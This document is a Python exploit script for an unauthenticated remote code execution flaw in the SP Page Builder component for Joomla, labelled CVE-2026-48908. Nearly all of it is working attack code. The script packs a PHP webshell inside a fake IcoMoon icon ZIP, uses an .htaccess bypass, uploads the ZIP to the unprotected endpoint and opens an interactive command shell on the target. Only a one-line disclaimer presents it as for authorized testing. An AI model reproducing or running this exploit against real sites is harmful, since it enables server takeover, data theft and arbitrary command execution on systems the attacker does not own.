SP Page Builder (Joomla) Unauthenticated File Upload RCE (CVE-2026-48908)

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-48908.py
Unauthenticated Remote Code Execution in SP Page Builder for Joomla (<= 6.6.1)

Author: Ashraf Zaryouh (@0xBlackash)
GitHub : https://github.com/0xBlackash
Date   : June 2026

Description:
    Exploits improper access control in com_sppagebuilder task=asset.uploadCustomIcon
    Allows unauthenticated attackers to upload arbitrary PHP files via a crafted
    IcoMoon ZIP and achieve RCE.

⚠️  FOR EDUCATIONAL PURPOSES AND AUTHORIZED TESTING ONLY  ⚠️
    Unauthorized use against systems you do not own is illegal.
"""

import argparse
import io
import json
import random
import string
import sys
import zipfile

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# ================= CONFIG =================
BANNER = r"""
 ██████╗ ██╗  ██╗██████╗ ██╗      █████╗  ██████╗██╗  ██╗ █████╗ ███████╗██╗  ██╗
██╔═████╗╚██╗██╔╝██╔══██╗██║     ██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔════╝██║  ██║
██║██╔██║ ╚███╔╝ ██████╔╝██║     ███████║██║     █████╔╝ ███████║███████╗███████║
████╔╝██║ ██╔██╗ ██╔══██╗██║     ██╔══██║██║     ██╔═██╗ ██╔══██║╚════██║██╔══██║
╚██████╔╝██╔╝ ██╗██████╔╝███████╗██║  ██║╚██████╗██║  ██╗██║  ██║███████║██║  ██║
 ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚══════╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
                                                                         
                CVE-2026-48908  •  0xBlackash
"""

USER_AGENT = "Mozilla/5.0 (compatible; 0xBlackash-Research/1.0; +https://github.com/0xBlackash)"
TASK = "index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon"
ICONBASE = "media/com_sppagebuilder/assets/iconfont"


def random_string(length=8):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))


def normalize_url(url):
    url = url.strip().rstrip('/')
    if not url.startswith(('http://', 'https://')):
        url = 'https://' + url
    return url


def build_malicious_zip(name, shell_name, token, use_htaccess=False):
    shell_content = f'''<?php
// CVE-2026-48908 webshell - 0xBlackash
if ($_GET['t'] ?? '' !== '{token}') {{
    http_response_code(404);
    die();
}}
if (isset($_GET['c'])) {{
    system($_GET['c']);
}} elseif (isset($_GET['cmd'])) {{
    system($_GET['cmd']);
}}
echo "0xBlackash was here\\n";
?>
'''

    selection = json.dumps({
        "IcoMoonType": "selection",
        "icons": [],
        "metadata": {"name": name},
        "preferences": {"fontPref": {"prefix": "ico-", "metadata": {"fontFamily": name}}}
    }).encode()

    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as z:
        z.writestr('selection.json', selection)
        z.writestr('style.css', b'.ico-test:before{content:"test";}')
        z.writestr(f'fonts/{name}.ttf', b'FAKEFONT')
        
        if use_htaccess:
            z.writestr('fonts/.htaccess', b'AddType application/x-httpd-php .PHP\n')
            shell_rel = f'fonts/{shell_name}.PHP'
        else:
            shell_rel = f'fonts/{shell_name}.php'
        
        z.writestr(shell_rel, shell_content.encode())
    
    return buf.getvalue(), shell_rel


def upload_zip(session, base_url, zip_data, zip_name):
    files = {'custom_icon': (f'{zip_name}.zip', zip_data, 'application/zip')}
    try:
        r = session.post(f"{base_url}/{TASK}", files=files, verify=False, timeout=25)
        
        if "require admin access" in r.text.lower() or r.status_code == 403:
            return "PATCHED"
        
        data = r.json()
        if data.get('status'):
            css_path = data.get('data', {}).get('css_path', '')
            if css_path:
                return css_path.rsplit('/', 2)[0]  # iconfont dir
    except Exception:
        pass
    return None


def execute_command(session, base_url, shell_path, token, cmd="id"):
    params = {'t': token, 'c': cmd}
    try:
        r = session.get(f"{base_url}/{shell_path}", params=params, verify=False, timeout=20)
        return r.status_code, r.text.strip()
    except Exception as e:
        return None, str(e)


def main():
    print(BANNER)
    
    parser = argparse.ArgumentParser(description="CVE-2026-48908 PoC by 0xBlackash")
    parser.add_argument("target", help="Target URL (e.g. https://example.com)")
    parser.add_argument("-c", "--cmd", default="id", help="Command to execute (default: id)")
    parser.add_argument("--shell", action="store_true", help="Interactive shell mode")
    parser.add_argument("--cleanup", action="store_true", help="Attempt cleanup after exploitation")
    parser.add_argument("--token", default=random_string(16), help="Secret token (default: random)")
    args = parser.parse_args()

    base = normalize_url(args.target)
    session = requests.Session()
    session.headers.update({"User-Agent": USER_AGENT})

    print(f"[*] Target     : {base}")
    print(f"[*] Token      : {args.token}")
    print("[*] Testing vulnerability...")

    success = False
    methods = [False, True]  # normal .php then .PHP + .htaccess

    for use_htaccess in methods:
        name = "ico" + random_string(6)
        shell_name = "shell" + random_string(6)
        
        zip_data, shell_rel = build_malicious_zip(name, shell_name, args.token, use_htaccess)
        iconfont_dir = upload_zip(session, base, zip_data, name)
        
        if iconfont_dir == "PATCHED":
            print("[-] Target appears to be patched (6.6.2+)")
            sys.exit(1)
        
        if not iconfont_dir:
            continue
            
        shell_path = f"{iconfont_dir}/fonts/{shell_name}{'.PHP' if use_htaccess else '.php'}"
        
        code, output = execute_command(session, base, shell_path, args.token, "echo 0xB4CK4SH_42")
        
        if code == 200 and "0xB4CK4SH_42" in output:
            print(f"[+] SUCCESS! RCE confirmed via {'htaccess bypass' if use_htaccess else 'direct PHP'}")
            print(f"[+] Webshell   : {base}/{shell_path}?t={args.token}&c=<cmd>")
            success = True
            break

    if not success:
        print("[-] Exploitation failed. Target may not be vulnerable.")
        sys.exit(2)

    # Execute requested command
    if not args.shell:
        print(f"\n[*] Executing: {args.cmd}")
        _, out = execute_command(session, base, shell_path, args.token, args.cmd)
        print("="*80)
        print(out)
        print("="*80)

    # Interactive shell
    if args.shell:
        print("[+] Interactive shell started. Type 'exit' to quit.")
        while True:
            try:
                cmd = input("\n0xBlackash$ ")
                if cmd.lower() in ['exit', 'quit']:
                    break
                if cmd.strip():
                    _, out = execute_command(session, base, shell_path, args.token, cmd)
                    print(out)
            except (KeyboardInterrupt, EOFError):
                break

    if args.cleanup:
        print("[*] Cleanup requested (best effort)")
        cleanup_cmd = f"rm -rf {iconfont_dir.split('/')[-1]} 2>/dev/null || echo 'manual cleanup needed'"
        execute_command(session, base, shell_path, args.token, cleanup_cmd)

    print("\n[*] Done. Stay safe and patch your systems!")


if __name__ == "__main__":
    main()